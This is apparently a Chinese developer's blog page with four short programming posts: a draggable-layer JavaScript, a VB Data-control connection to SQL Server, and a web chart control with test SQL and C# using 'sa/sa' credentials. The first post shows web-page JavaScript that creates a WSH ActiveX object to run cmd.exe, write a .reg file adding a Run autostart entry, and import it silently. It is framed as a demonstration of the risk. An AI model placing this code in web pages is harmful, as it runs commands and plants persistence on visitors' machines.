翱翔软件

http://video.sina.com.cn/v/b/69495933-2086432275.html

作者：邬畏畏

      在网页中我们可以利用javascript执行客户端的WSH，下面代码展示了在网页中创建WSH对象并且运行cmd.exe创建文件并操作注册表。

document.write("<OBJECT classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B id=wsh></object>");
wsh.Run('cmd.exe');

wsh.Run('cmd.exe /c echo Windows Registry Editor Version 5.00>>auto.reg');
wsh.Run('cmd.exe /c echo [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]>auto.reg');
wsh.Run('cmd.exe /c echo @="cmd.exe">>auto.reg');
wsh.Run('cmd.exe /c regedit /s auto.reg');

上述代码存为HTML格式。

     当然如果浏览器的安全级别设置的较高（如：禁用ActiveX等相关设置），上述代码就没有威胁了。

JS拖动层

 邬畏畏

<script language="JavaScript" type="text/javascript">

    var drag_ = false;

    var temp2, temp1,x,y;

    function divdown(obj) {

        temp1 = obj.offsetLeft; temp2 = obj.offsetTop;

        x = window.event.clientX;

        y = window.event.clientY;

        drag_ = true;

    }

    function divmove(obj) {

        if (drag_) {

            obj.style.left = temp1 + window.event.clientX - x + "px";

            obj.style.top = temp2 + window.event.clientY - y + "px";

        }

    }

    function divup() {

        drag_ = false;

    }

</script>

    <div id="edit" class="Edit">

<div id="edit_bar" style="background-color:#bbbbbb;height:25px;text-align:right"

onmousedown="divdown(edit)" onmousemove="divmove(edit)" onmouseup="divup()">

<span onclick="隐藏层的脚本"><img src='img/closeIcon.gif' /></span>

</div>

        <span align="center" style="font-size:12px;color:Blue">编辑名称</span><br>

        <input id="txtedit" type="text" value="" name="txtedit" style="width:120px" onmouseover="notmove()"/>

        <input type="button" value="修改保存" onclick="asyncSend(1)"/><input type="button" value="取消" onclick='HideLayer("edit")'/>

        <input id="Hidden_Table" type="hidden" runat="server" value="" /><!--"Trans_Area|T_Name|Tran_ID|recordID"--> 

    </div>

截图：

VB DATA控件链接SQL SERVER，Data控件在开发中已经很好使用了，我的一个同事在改一个VB程序，需要把ACCESS数据库升迁至SQL SERVER。

但那个VB程序代码每个部分都用DATA控件，很是头疼，试了几次发现用这个方法链接SQL SERVER。

在窗体Load事件中，写入：

data1.databasename= " "
data1.connect= "ODBC;DRIVER={SQL Server};Server=SQL服务器名;uid=用户名;pwd=密码;database=数据库名"
data1.refresh
即可。

有个问题，不能用data控件删除记录，不管它了反正data控件也不使用。

Web图表控件 

开发：邬畏畏

一．   用于测试数据库表

create table CharTest

(

ID int not null identity(1,1) primary key ,

mydate datetime default getdate(),

data1 int,

data2 int

)

insert into CharTest(mydate,data1,data2)

values('2010-1-2',12,44),('2010-1-3',55,37),('2010-1-4',39,59),('2010-1-6',70,80),('2010-1-8',66,50),

('2010-1-4',90,69),('2010-1-6',20,90),('2010-1-8',99,100)

select * from CharTest

二．     调用代码

SqlConnection Con = new SqlConnection("Data Source=.;Initial Catalog=hs;Persist Security Info=True;User ID=sa;Password=sa");

Con.Open();

ChartDraw.Draw.SavePath = "c:\\";

ChartDraw.Draw.Example = "红线走向|蓝线走向";

ChartDraw.Draw.Caption = "这是标题（可以通过属性设置）";

ChartDraw.Draw.ChartDrawLine("select mydate,data1,data2 from CharTest", Con, 0);

注意：ChartDraw.Draw.ChartDrawLine（）会才C盘生成tmp.jpg图片

下载：http://files.cnblogs.com/wsoft/webChartDraw.rar